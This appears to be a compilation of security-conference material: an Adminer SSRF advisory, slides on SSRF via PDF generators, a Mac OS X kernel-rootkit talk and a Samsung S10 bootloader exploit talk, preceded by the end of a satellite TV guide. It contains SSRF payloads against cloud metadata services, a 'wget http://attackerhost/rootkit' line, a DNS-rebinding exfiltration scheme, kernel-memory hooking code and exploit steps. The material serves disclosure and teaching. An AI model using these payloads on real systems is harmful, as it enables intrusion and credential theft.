Ku V Rang-A-Rang TV (Vienna) 20765 T5 97o W 11836 Ku V Jaam-e-Jam Network 2 (Iran) 20765 T5 97o W 11836 Ku V Al-Alam News Channel Promo 20765 T5 97o W 11836 Ku V *Scriptures for America 20765 T5 97o W 11836 Ku V *The Overcomer 20765 T5 97o W 11836 Ku V *IRIB World Service Radio 1 20765 T5 97o W 11836 Ku V *IRIB Arabic Radio 20765 T5 97o W 11836 Ku V *IRIB World Service Radio 3 20765 T5 97o W 11836 Ku V *IRIB Radio 1 20765 T5 97o W 11836 Ku V *Radio Quran 20765 T5 97o W 11836 Ku V *The Prayer Channel 20765 T5 97o W 11867 Ku V Jaam-e-Jam International 22000 T5 97o W 11867 Ku V AssyriaSat 22000 T5 97o W 11867 Ku V TV Romania International 22000 T5 97o W 11867 Ku V National Broadcasting Network (Lebanon) 22000 T5 97o W 11867 Ku V Qatar TV 22000 T5 97o W 11867 Ku V JSTV-Jesus Satellite TV 22000 Section 3: FTA (Free to Air) FTA channels on C-Band and Ku-Band use Vertical and Horizontal Polarity instead of Circular Polarity which DBS systems use. C-band Feeds (Pre-Air Primetime Network TV Shows) Telstar 5 C-band reception requires at least a 7.5ft dish. Many feeds are available on c-band including feeds of TV shows before they air on the networks. 24 (Clean) TU 0330 T5/13 6.2/6.8 Alias (Clean) SA 2100 G4/17 5.8/6.2 Bernie Mac (Clean) WE 0400 T5/13 (020918) CSI (Clean) TH 0100 T6/24 5.8/6.2 (030313) CSI: Miami (Clean) FR 1600 T6/04 5.8/6.2 (030214) C-Band Dish Section 4: C-Band and Pre-Air Information Section 5: Tips for getting equipment Ku-Band Equipment: 60cm – 120cm Dish (18” -45”) LNBf – LNB + Feedhorn (with H/V polarity) Receiver – Set Top Box or DVB-S card Total Cost - $250 new for a basic setup C-Band Equipment: 7.5ft -12ft Dish – Preferably Mesh Feedhorn – Located at the focal point of the dish LNB - converts the downlink frequency Skew Motor – Controls the feedhorn’s polarity Actuator – Moves the Dish Analog Receiver – Set Top Box Digital Receiver – Set Top Box or DVB-S card Total Cost - $1000-$2500 new for a basic setup $50 - $500 used for a good setup Vendors: http://www.skyvision.com Pricey, but high quality products. http://www.dvbmaster.com Sells DVB Related items. http://www.dvbcanada.com Sells DVB Related items. http://www.ebay.com Buy your big dish here. http://www.sadoun.com Sells Ku and DVB equipment. Section 6: Other Information Thanks to Rod Hewitt of http://www.coolstf.com/mpeg for graciously letting me use information from his website. For detailed information on MPEG broadcasts via satellite, check out his website. Greets to the SLC2600 Crew and www.geeksyndicate.net North American Free To Air Channels http://www.sadoun.com/Sat/Channels/North_America_Free_TV.htm Digital MPEG Information http://www.great-american-lifestyle.com/articles/sat-digital-tv.html Mr. Video’s Wildfeed List http://www.vidiot.com/wildfeed.html DVB Forums http://forums.dvbnetwork.com Dr. Dish’s Satellite Espionage http://www.drdish.com/features/ Basic Broadcast Information http://www.internetcampus.com/tvp065.htm
pdf
Adminer Server Side Request Forgery (SSRF) Adam Crosser Brian Sizemore Description: We have discovered a way to use adminer to send arbitrary get requests and retrieve JSON responses from internal servers. Specifically, this was demonstrated in order to extract AWS access keys from the AWS metadata service. Impact: The impact of this finding will be dependent upon the sensitivity of resources available on the internal network. Theoretically, an attacker could automate the use of this vulnerability to perform some “scanning” activities and enumerate the internal environment. In the case of an AWS server, the impact will likely be related to the permissions granted to the server and an attacker’s ability to escalate or move laterally with the compromised AWS keys. Attack Explanation and Demonstration: The following steps were used to demonstrate the attack. First, a python server was started which listened for incoming connections and responded with a 301 redirect to an arbitrarily chosen host. In this example case, the redirect was pointed at the AWS metadata service: http://169.254.169.254/latest/meta-data/instance-id Then the Elasticsearch login module was used within Adminer to “login” to the server running the python code which resulted in Adminer printing the json response from the metadata server containing the server’s AWS instance-id. The screenshots below demonstrate the successful attack. A copy of the python script used to redirect the request can be found here: https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd In order to demonstrate the potential severity of impact, the redirect was also used to list the available roles for the server at http://169.254.169.254/latest/meta-data/iam/security-credentials/ before extracting the keys by navigating to one of the available rolls. The screenshot below shows the result of navigating to one of the available rolls.
pdf
OWNING THE CLOUT THROUGH SSRF AND PDF GENERATORS Ben Sadeghipour Cody Brocious WHO ARE WE ● Head of Hacker Operations at HackerOne ● Top 20 hacker on HackerOne ● Snapchat, Yahoo, DoD, Airbnb, Valve, etc. ● Youtube/Twitch/social media: @NahamSec Ben Sadeghipour ● Head of Hacker Education at HackerOne ● Not top 20 on HackerOne ● Hotel locks, Nintendo Switch, iTunes, etc. ● Twitter: @daeken Cody Brocious In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or a modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed. TL;DR: Make requests using the target host and in some cases render JS server side SSRF According to OWASP What is Cloud Metadata? ● 169.254.164.254 is accessible internally within the machine you have access to. ● Provides details like internal IP, hostname, project details, etc. And if you’re lucky enough, it could also give you access to access_key & secret_key as well Basic Example ● Upload avatar via URL and triggers the following request: GET /api/v1/fetch?url=https://site.com/myfunnycatmeme.jpeg Host: thesiteweareabouttpwn.com ● Changing the URL parameter to something.internal.target.com may give us access to see internal assets ● Not limited to http, you can use other protocols ○ file:///etc/passwd ○ gopher:// ○ ssh:// … But it’s not always that easy CVE Examples Similar to previous slides JIRA CVE-2017-9506 CVE Examples https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a Pointing consumerUri to Google Similar to previous slides JIRA CVE-2017-9506 CVE Examples https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a Metadata Similar to previous slides Jenkins - CVE-2018-1000600 CVE Examples Pointing apiUri to AWS Metadata Sometimes it’s not as straightforward as a single http request. In some cases you may be dealing with filters or you may not even see the output of your request but you still have a few options SSRF Hurdles SSRF Hurdles ● Problem: metadata or internal IPs are getting filtered ○ Solution: Use a custom domain like meta.mydomain.com and point it to the asset you are trying to access (aws.mydomain.com -> 169.254.169.254) ● Problem: Only able to use whitelisted domains ○ Solution: Find an ‘Open Redirect’ on the whitelisted domain(s) and use that to exploit your SSRF ● Problem: SSRF is there but I can’t see the output ○ Solution: Use Javascript and exfil data ● XSS on the target application where it also gets pushed to the PDF ○ How to confirm it: <script>document.write(123)</script> ○ Generate PDF and it should print 123 ● Follows redirection by pointing the url or HTML tag (iframe/img etc) to our host where redirect.php redirects to success.php ○ mysite.com/redirect.php -> redirects to mysite.com/success.php ● Any customization that involves HTML/CSS (Font name, colors, styling) ● Open redirect on the target application in case of any domain whitelisting Valuable Assets / Vulnerabilities PDF GENERATION PROCESS Headless Browsers There are two common headless browsers in use: ● wkhtmlpdf is a Webkit implementation whose rendering backend is PDF. ● Headless Chrome is desktop Chrome minus the GUI and with a PDF or image rendering backend attached. Lots of wrapper libraries providing easy integration with any language HTML Renderers Rather than using an actual browser engine, these renderers work by doing the HTML and CSS parsing, without any kind of JavaScript support or dynamic layout engine. ● tend to provide a restricted environment where most HTML can be handled safely and efficiently WeasyPrint is a great example of this class of HTML->PDF converters (more later) XSS in PDF Files PDF + XSS == SSRF Most modern web applications performing PDF generation do not actually generate PDFs directly. ● As such, any XSS into this data gets you running in the context of the server -- not the client! The attack strategy used will depend on what conversion system is in use in the application, but these can be broken into two categories: Headless browsers and HTML renderers. Simple XSS->SSRF via wkhtmltopdf You notice HTML is rendering within your Generated PDF ● we want to make sure this can communicate with other hosts ○ <iframe src=”http://myhost:myport:443”> Simple XSS->SSRF via wkhtmltopdf <iframe src=”http://169.254.169.254/user-data”> When Simple Fails Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically redirect it to another page and get a render of the new location. Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so we can’t just make an XMLHttpRequest to the metadata service and steal their data that way. ● Most user input gets sanitized/filtered ● We haven’t found an XSS in our target app ○ But… we are allowed to customize the fonts and styling of the generated PDF HTML Renders but... XSS via escaping <style> tag ● Most user input gets sanitized/filtered ● No XSS ○ But… we are allowed to customize the fonts and styling XSS via escaping <style> tag ● Confirm it renders HTML within the PDF Generator ● Can it fetch anything from a remote host”? XSS via escaping <style> tag Replace test payload with <style><iframe src=”http://169.254.169.254/user-data”> and extract data: WeasyPrint Makes Hacking (W)easy WeasyPrint Makes Hacking (W)easy … Once you know the trick, at least. This one stumped us for a while. We got XSS into a PDF no problem, but there were two things that made this hard: 1. It didn’t seem to run any scripts, load iframes, or seemingly do anything but load images. 2. Every single payload we wanted to test required us to take a rideshare somewhere. Use The Source Once we got it to connect to a server where we could see the request, we noticed that the user agent said it was from WeasyPrint. A quick Google search later and we learned it was a pretty straightforward HTML renderer written in Python and it was open source! Thankfully, we could run this locally and render pages just like the victim. Unfortunately, this was when we got really pessimistic. This thing didn’t render anything fun. Text, some CSS, images -- that was about it. Use The Source ● How does it work? ○ weasyprint input.html output.pdf Example: Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑 Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑 ○ <Object> 🛑 Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑 ○ <Object> 🛑 ○ <Link> 🤔 Attachments <link rel=attachment href=”file:///etc/passwd”> Attachments <link rel=attachment href=”file:///etc/passwd”> This embeds files right into the PDF itself! They aren’t visible on the page, but they’re included as a hidden resource on the file. Attachments <link rel=attachment href=”file:///etc/passwd”> This embeds files right into the PDF itself! They aren’t visible on the page, but they’re included as a hidden resource on the file. We could not only read files, but make web requests. Three rideshares later, we had their full EC2 access keys. Attachments Unpacks the content from pdf DNS Rebinding for Fun and Profit When Simple Fails Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically redirect it to another page and get a render of the new location. Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so we can’t just make an XMLHttpRequest to the metadata service and steal their data that way. DNS Rebinding for Fun and Profit DNS rebinding attacks provide a means to get around this. We make the browser think it’s requesting data from the same domain the page was loaded from and it’s game over. DNS Rebinding for Fun and Profit 1. Browser loads http://ex.ploit.info/ and the script sends a message to the server to rebind ex.ploit.info to 169.254.169.254 2. The script then resolves a0.ex.ploit.info through a2499.ex.ploit.info, flushing the DNS cache for the original domain 3. Then the script can request any data from the metadata service using requests to ex.ploit.info; the metadata services don’t care what hostname is used to make requests to them 4. Data can be sent to bc.ex.ploit.info, which serves as a backchannel for exfiltration SSRF Tools HTTPRebind Rebinding attacks can be very valuable for SSRF, but they require a lot of setup work, tweaking, and programming. HTTPRebind combines a DNS server with an HTTP server to automatically handle all of this for you. ● Usable against any headless browser ● Takes only seconds to run due to DNS cache flushing ● Automatically pulls critical data from GCP, AWS, and Azure Get the source at https://github.com/daeken/httprebind SSRFTest This tool lets you quickly do a first-pass test for SSRF. It will record incoming requests for your different targets as well as automatically attempt to access and dump data from EC2 metadata service. The optimal targets for SSRFTest’s automated functionality are real headless browsers living in the cloud, but it’s a useful starting point for any SSRF exploitation. Get the code at https://github.com/daeken/SSRFTest or use the public instance at https://ssrftest.com/ Recap Recap ● SSRFs can be very dangerous ● Don’t give up on your bugs until you have tried every possible scenario ○ WeasyPrint took us ~3 months to piece together ● If you see a PDF generator somewhere, 9/10 it’s vulnerable ○ Especially if you chain with other vulnerabilities (XSS, Open Redirect, etc) Recap ● Disable Javascript ● Create some good whitelisting ● Properly configure your cloud instances to minimize impact ● Be nice to hackers Keep in Touch ● [email protected] ● Youtube/Twitch/social media: @NahamSec Ben Sadeghipour ● Twitter: @daeken ● Hacker101 Discord Cody Brocious Thank You!
pdf
B O S S E E R I K S O N / B I T S E C < B O S S E . E R I K S S O N @ B I T S E C . S E > Runtime Kernel Patching on Mac OS X Defcon 17, Las Vegas Who am I?   Bosse Eriksson   Security Consultant / Researcher at Bitsec   Unhealthy fetish for breaking stuff   Recently been looking into Mac OS X rootkit techniques Agenda   Intro   What is a rootkit?   OS X? BSD? XNU?   Runtime kernel patching   Runtime kernel patching on OS X   PoC runtime kernel patching rootkit for OS X   Rootkit detection   References   Q&A What is a rootkit?   Program for access retention   Local / remote backdoors   Typically requires root access   NOT an exploit or a trojan horse   Stealth   Hides files/processes/sockets   Types of rootkits   Userspace   Easy to implement   Easy to discover   Kernelspace   Hard(er) to implement   Much harder to detect if done properly Pwning – Simple Illustration   This is when you get pwned… (exploit) $ ./0day –h mail.doxp*ra.com - connecting… - exploiting… % uname –a; id FreeBSD living*nd.org 7.0-STABLE FreeBSD 7.0-STABLE #0: Mon Jul 28 18:18:06 PDT 2008 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)   and this is when you stay pwned (rootkit) % wget http://attackerhost/rootkit > /dev/null ; chmod +x rootkit % ./rootkit -i Rootkit examples   Userspace   Various evil patches to ls/netstat/ps etc   Also binary patches   Kernelspace   Phalanx by rebel   Runtime kernel patching rootkit for Linux 2.6   Uses /dev/mem to patch kernel memory and hook syscalls   SucKIT by sd   Runtime kernel patching rootkit for Linux 2.4 (SucKIT 2 for Linux 2.6)   Uses /dev/kmem to patch kernel memory and hook syscalls   Knark by Creed   LKM for Linux 2.2   Hooks syscalls   WeaponX by nemo   Kernel module (KEXT) for OS X < 10.3   First public OS X kernel rootkit OS X? BSD? XNU?   XNU is the kernel of the OS X operating system   Built on both BSD and Mach technology   BSD layer   Networking   Processes   POSIX API and BSD syscalls   …   Mach layer   Kernel threads   Interrupts   Memory management   Scheduling   … OS X? BSD? XNU?   XNU support modules, Kernel Extensions (KEXT)   Most common way of subverting the XNU kernel   But that’s old, we want something (somewhat) new, right? Runtime kernel patching   Subverting the running kernel without the use of modules (LKM / KLD / KEXT)   Hooking system calls to stay hidden and implement various backdoors in the running OS   Also able to manipulate various kernel structures in memory Runtime kernel patching – Function hooking   Function A calls function B, “Evil Hook” gets called   The “Evil Hook” calls function B and returns the result to function A Function A Evil Hook Function B Runtime kernel patching – Basics   Allocate kernel memory from userland   Put evil code in the allocated space   Redirect syscall (or other function) to the evil code   …   Profit? Runtime kernel patching – The usual approach   Find suitable system call handler   Rarely used syscall to avoid race condition, i.e. sethostname()   Backup system call handler   Redirect handler to kmalloc()   Execute system call to allocate memory   Restore system call handler   A lot of work, can this be done easier? Runtime kernel patching on OS X – Mach API   Using the Mach API to do evil stuff, all we need is #   vm_read()   Read virtual memory   vm_write()   Write virtual memory   vm_allocate()   Allocate virtual memory   You see where this is going? Runtime kernel patching on OS X – Mach   Tasks   A logical representation of an execution environment   Contains one or more threads   Has its own virtual address space and privilege level   Threads   Each thread is an independent execution entity   Has its own registers and scheduling policies   Ports   A kernel controlled communication channel   Used to pass messages between threads Runtime kernel patching on OS X – Reading void * read_mem(unsigned int addr, size_t len) { mach_port_t port; pointer_t buf; unsigned int sz; if (task_for_pid(mach_task_self(), 0, &port)) fail("cannot get port"); if (vm_read(port, (vm_address_t)addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) fail("cannot read memory"); return (void *)buf; } Runtime kernel patching on OS X – Writing void write_mem(unsigned int addr, unsigned int val) { mach_port_t port; if (task_for_pid(mach_task_self(), 0, &port)) fail("cannot get port"); if (vm_write(port, (vm_address_t)addr, (vm_address_t)&val, sizeof(val))) fail("cannot write to addr"); } Runtime kernel patching on OS X – Allocating void * alloc_mem(size_t len) { vm_address_t buf; mach_port_t port; if (task_for_pid(mach_task_self(), 0, &port)) fail("cannot get port"); if (vm_allocate(port, &buf, len, TRUE)) fail("cannot allocate memory"); return (void *)buf; } Runtime kernel patching on OS X – sysent table sysent[] 0 SYS_syscall 1 SYS_exit 2 SYS_fork 427 SYS_MAXSYSCALL … struct sysent { /* system call table */ int16_t sy_narg; /* number of args */ int8_t sy_resv; /* reserved */ int8_t sy_flags; /* flags */ sy_call_t *sy_call; /* implementing function */ ... } Runtime kernel patching on OS X – sysent table   Need to locate the sysent table to be able to patch system call handlers   Landon Fuller developed a nice method of doing this with a KEXT Runtime kernel patching on OS X – sysent table   Landon Fullers method extern int nsysent; static struct sysent * find_sysent (void) { struct sysent *table; table = (((char *) &nsysent) + sizeof(nsysent)); #if __i386__ table = (((uint8_t *) table) + 28); #endif return table; } Runtime kernel patching on OS X – sysent table   We don’t want KEXTs…   His method works just as good from userland, we just need to locate _nsysent in memory   Kernel image on the filesystem (/mach_kernel)   Contains the _nsysent symbol which we can resolve by parsing the Mach-O binary   _nsysent + 32 is the sysent table in memory! Runtime kernel patching on OS X – Mach-O   The XNU kernel image can be found on the file system, “/mach_kernel”   The kernel image is just a universal Mach-O binary with two architectures, i386 and PPC Runtime kernel patching on OS X – sysent table   The modified function using libs2a (resolves symbols from kernel image) SYSENT * get_sysent_from_mem(void) { unsigned int nsysent = s2a_resolve((struct s2a_handler *)&handler, "_nsysent"); SYSENT *table = NULL; table = (SYSENT *)(((char *) nsysent) + 4); #if __i386__ table = (SYSENT *)(((uint8_t *) table) + 28); #endif return table; } Runtime kernel patching on OS X   We have located the sysent table   We can read, write and allocate kernel memory   Now what? Runtime kernel patching on OS X – syscall hijack sysent[] … 4 SYS_write 5 SYS_open … 5 SYS_close struct sysent { ... sy_call = 0xdeadc0de; ... } struct sysent { ... sy_call = 0x001e425c; ... } asmlinkage int open_hook(struct proc *p, struct open_args *uap, register_t *retval) { ... sys_open = (void *) 0x001e425c; /* do evil stuff */ return sys_open(p, uap, retval); } int open(struct proc *p, struct open_args *uap, register_t *retval) PoC runtime kernel patching rootkit for OS X   Mirage (Yeah, I know it’s a cheesy name)   Resolves symbols from the XNU kernel image   Hooks system calls and input handlers using vm_read(), vm_write() and vm_allocate()   Is not detected by chkrootkit    … but then again, which rootkit is? The Mirage Rootkit DEMO The Mirage Rootkit – Process hiding The Mirage Rootkit – open() backdoor The Mirage Rootkit – tcp_input() backdoor Rootkit detection - Basics   So, how do we detect if we have been infected?   Well that’s easy, you just compare the sysent table in memory to a known state   In reality it’s not that easy, but anyway… Rootkit detection on Mac OS X   Number of available syscalls is 427 (0x1ab)   The original sysentry table is at _nsysent + 32 # otool -d /mach_kernel | grep -A 10 "ab 01” [...] 0050a780 ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0050a790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0050a7a0 00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00 0050a7b0 01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00 # Rootkit detection on Mac OS X   Copy the kernel image into a buffer   Find the offset to the _nsysent symbol   Add 32 bytes to that offset and return a pointer to that position Rootkit detection on Mac OS X char * get_sysent_from_disk(void) { char *p; FILE *fp; long sz, i; fp = fopen("/mach_kernel", "r"); fseek(fp, 0, SEEK_END); sz = ftell(fp); fseek(fp, 0, SEEK_SET); buf = malloc(sz); p = buf; fread(buf, sz, 1, fp); fclose(fp); for (i = 0; i < sz; i++) { if (*(unsigned int *)(p) == 0x000001ab && *(unsigned int *)(p + 4) == 0x00000000) { return (p + 32); } p++; } } Rootkit detection on Mac OS X DEMO Rootkit detection on Mac OS X References   Various articles   Abusing Mach on Mac OS X by nemo, Uninformed vol 4   Mac OS X Wars – a XNU hope by nemo, Phrack 64   Developing Mac OS X Kernel Rootkits by wowie & ghalen, Phrack 66   Mac Hackers Handbook, ISBN 0470395362   Great book by Charlie Miller and Dino Dai Zovi   Updated slides, and some code   http://kmem.se   A big thanks to   wowie and the rest of #hack.se, rebel, nemo and the people at Bitsec Q&A   Any questions? Thank you!   Thanks for listening, I’ll be in the nearest bar getting a beer…
pdf
Breaking Samsung's Root of Trust: Exploiting Samsung S10 S-Boot Jeffxx #BHUSA   @BLACKHATEVENTS Jeff Chao (Jeffxx) ◆ Researcher at TrapaSecurity ◆ Ex-senior Researcher at TeamT5 ◆ Member of HITCON CTF Team ◆ Member of Chroot ◆ Focus on Mobile and IoT Vulnerabilities AGENDA 01 02 03 04 05 Samsung Security Framework - Knox Related Work Vulnerabilities in Secure Boot Demo After Code Execution on S-boot Demo Video Samsung Security Framework Knox Knox - Root of Trust Knox – Trusted Boot ◆ Hardware PBL ◆ Verify secure boot(S-Boot) & load ◆ S-Boot ◆ Set handler for Monitor mode, drop privilege ◆ Request EL3 to initial TEEOS ◆ Verify & Load Hypervisor (uh.bin) ◆ Verify & Load Kernel (boot.img) ◆ Kernel with DM-Verity ◆ Verify system.img & mount ◆ Verify vendor.img & mount Knox bit (warranty bit) ◆ One-time fuse, can’t restore ◆ Blow the fuse when trying to boot a custom image and prevent further booting Sensitive Data Protection ◆ The storage (Sensitive Data) is encrypted when the device is locked ◆ Encrypted Keys are stored in trustzone Sensitive Data Protection cont ◆ Some critical information can only be decrypted by trustlet ARM Trustzone Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 Related Work BH17 – Defeating Samsung KNOX with zero privilege by returnsme ◆ EL0 -> EL1 Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 BH17 EU - How Samsung Secures Your Wallet by Tencent Lab ◆ EL0 -> Secure EL0 (kinibi) Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 BH19 – Breaking Samsung’s Arm Trustzone ◆ EL0 -> Secure-EL3 (kinibi, S8 and before) Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kerne Mode Monitor Mode EL0 EL1 EL2 EL3 What if the device is turned off & we don’t know the passcode? In this talk ◆ out-side the box(locked phone) -> Non-Secure EL1 Non-secure World User Mode SVC/Sys/Abort Mode Hypervisor Mode Secure World User Mode SVC/Sys/Abort Mode Monitor Mode EL0 EL1 EL2 EL3 S-Boot Boot Flow Init Verify boot image Boot into kernel Set monitor mode Check boot mode ODIN mode volumn down + power ODIN mode ◆ Flash stock firmware ◆ Rollback prevention Vulnerability I Odin Request ◆ opCode ◆ 0x64 Odin mode initial & settings ◆ 0x65 Flash PIT ◆ 0x66 Flag image ◆ subOp ◆ Depends on opCode ◆ Maybe initialize, set, get …etc ◆ arg1 ~ arg4 ◆ assign size or some value Odin Flash Image Command ◆ No check for provided size ◆ Integer overflow ◆ Use 0xC0000000 if less then 0x1e00000 ◆ Otherwise use 0xB0000000 ◆ Copy to buffer ◆ S8 and before at 0xC0000000 ◆ S9 and later at 0x880000000 Overflow the physical memory 0xC0000000 0xC9000000 sboot code segment sboot data segment stack heap heap buffer for flash image 0xC0000000 0xC9000000 data overwritten filled with null Bypass MMU ◆ S-Boot code segment at 0xC9000000 but read only ◆ USB devices have direct memory access ◆ Ignores mmu control Cache Incoherency ◆ While receiving data, the CPU keeps tracking the USB event ◆ This code is cached ◆ Only the heap will not be cached Code Execution ◆ The heap is not cached, the code accesses a pointer in the heap… ◆ Trigger data-abort as soon as we overwrite heap data with NULL ◆ Overwrite the error handler code with jump sled ◆ Put shellcode in front of the code segment Overflow the physical memory 0xC0000000 0xC9000000 sboot code segment sboot data segment stack heap heap buffer for flash image modified sboot code segment filled with null filled with null shellcode 0xC0000000 0xC9000000 But ◆ S9 and later are not exploitable ◆ The default buffer is changed to 0x880000000 ◆ Spent half a year trying to exploit S10 Potential Exploit Path on S10 ◆ In S9 and later, ODIN has parallel & compressed download mode ◆ It will boot up another 2 cpu cores, and set the image buffer to 0x880000000 ◆ Fallback to normal download if boot cpu failure ◆ Buffer change back to 0xC0000000 Potential Exploit Path on S10 ◆ Make CPU boot fail Potential Exploit Path on S10 ◆ Uart mode ◆ Cmd – smp_test ◆ Test Boot up a cpu core and shutdown immediately ◆ But count of booted cores will not decrease ◆ Cmd – download ◆ Enter Odin mode Potential Exploit Path on S10 ◆ Enter Uart Mode ◆ We need a debug cable to make S-Boot detect RID_523K ◆ Tried TypeC VDM mode, accessory mode, pull-down pull-up resistor ◆ All failed We reported the bug on Aug 2019 Result: Duplicated Patch Note ◆ Samsung Security Update - October 2019 ◆ SVE-2019-15230 Potential Integer overflow in Bootloader The Patch Vulnerability II Aligned Size? Odin - packet data size ◆ We can set packet data size with opCode 0x64, subOp 0x05 Exploit ◆ Bypass the check ◆ The usb receive size can be larger than 0x10000000 again ◆ Achieve code execution in the same way as the previous vulnerability I reported the bug immediately Patch Note ◆ Samsung Security Update - Jan 2020 The Patch Vulnerability III ODIN – PIT flash command ◆ opCode = 0x65 ◆ PIT is very small, odin store it to heap buffer ◆ With the size 0x2000 The patch of vulnerability II ◆ Size of packet data can be upto 0xFFFFFF ◆ > 0x2000 => heap overflow Pseudo code - receive data ◆ This is a pseudocode representation of the receive operation ◆ In our test, the usb_recv function will receive until the passed size is reached ◆ Even if we send data with a huge interval We thought this was un-exploitable, so I stuck to vulnerability I How About Interrupting the USB ◆ Remove and Re-insert the USB cable ◆ the usb_recv returns with insufficient size Heap overflow ◆ We can overwrite the metadata of heap chunk ◆ House of Spirit Heap size unused prev next data size unused prev next data size unused prev next data Fake Chunk No check for double linked list faked chunk size unused prev next data size unused prev next data size unused prev next data Limited Overwrite Data ◆ *prev + 4 = 1 ◆ It aarch64, integer 64 bit ◆ Code at 0xC9000000 ◆ We can not point to ◆ Got ◆ Function pointer faked chunk size unused prev next data size unused = 1 prev next data size unused prev next data Free Overwrite RIP in stack ◆ The only chance is to overwrite a return address on stack ◆ Only 3 function calls ◆ Fortunately ◆ Odin cmd buf is the first local variable Stack SP PC local variable local variable SP PC local variable SP PC Stack SP PC local variable local variable SP PC local variable SP PC size unused prev next data size unused prev next data Odin cmd buf After Code Execution in S-boot Boot the phone ◆ We smashed the stack & heap ◆ Hard to recover ◆ Call the boot functions one by one sboot code segment sboot data segment stack heap heap buffer for flash image modified sboot code segment filled with null filled with null shellcode Skip Trustzone related calls ◆ We only have EL1 privilege ◆ Some smc calls to trustzone can not be called twice ◆ Skip the smc calls and set the related parameters Load Custom Kernel ◆ After loading the kernel to memory (the function cmd_load_kernel) ◆ Replace the image with a custom one ◆ Boot the kernel (call the function cmd_boot) Exploit ◆ Set the size of packet data to a big number ◆ Send Odin PIT flash command ◆ Send payload after Interrupt the usb_recv(), leads to heap overflow ◆ Send Another Odin command to trigger malloc & free the buffer ◆ Overwrite RIP on stack, jump to shellcode ◆ Re-init heap and stack ◆ Continue booting ◆ Before boot into kernel, replace the boot image We got el1 in normal world Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 But the phone is still locked Can not read sensitive data ◆ Storage is still encrypted if we didn’t provide the screen passcode ◆ Encryption key can only be decrypted in the gatekeeper trustlet ◆ Some data in trustlet can not be reached Man in the Non-secure EL1 ◆ Wait for the user to unlock the phone ◆ Hijack / Sniff everything between non-secure world and secure world Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 Exposed Attacking surface ◆ Attacking secure world trustlet ◆ Gatekeeper trustlet ◆ Samsung Pay trustlet ◆ Keystore trustlet ◆ … ◆ Many vulnerabilities in the past Non-secure World User Mode Kernel Mode Hypervisor Mode Secure World User Mode Kernel Mode Monitor Mode EL0 EL1 EL2 EL3 Attack the gatekeeper trustlet to decrypt storage ◆ SVE-2019-14575 ◆ With this vulnerability, we can try all the possible pattern codes in a few hours. Sensitive Data unlocked Conclusion ◆ Even if the data is stored in secure world, it doesn’t mean it’s 100% secure ◆ But it’s made exploiting complex, multiple actions are needed to retrieve the data ◆ Landing - RCE / Local USB Exploit / Social Engineering ◆ Privilege escalation to non-secure EL1 ◆ Vulnerabilities in trustlet to get into secure-world EL0 ◆ Privilege escalation from secure-world EL0 to secure-world EL1 or EL3 ◆ Without all of this, especially the points in red, the data in the phone is still safe Disclosure Timeline ◆ 2019-10-02 Report Vulnerability I ◆ 2019-10-08 Informed Vulnerability I duplicated ◆ 2019-10-11 Report Vulnerability II ◆ 2020-01-06 Samsung Patched, SVE-2019-15872 ◆ 2020-01-21 Report Vulnerability III ◆ 2020-05-06 Samsung Patched, SVE-2020-16712 Jeffxx [email protected] THANK YOU!
pdf
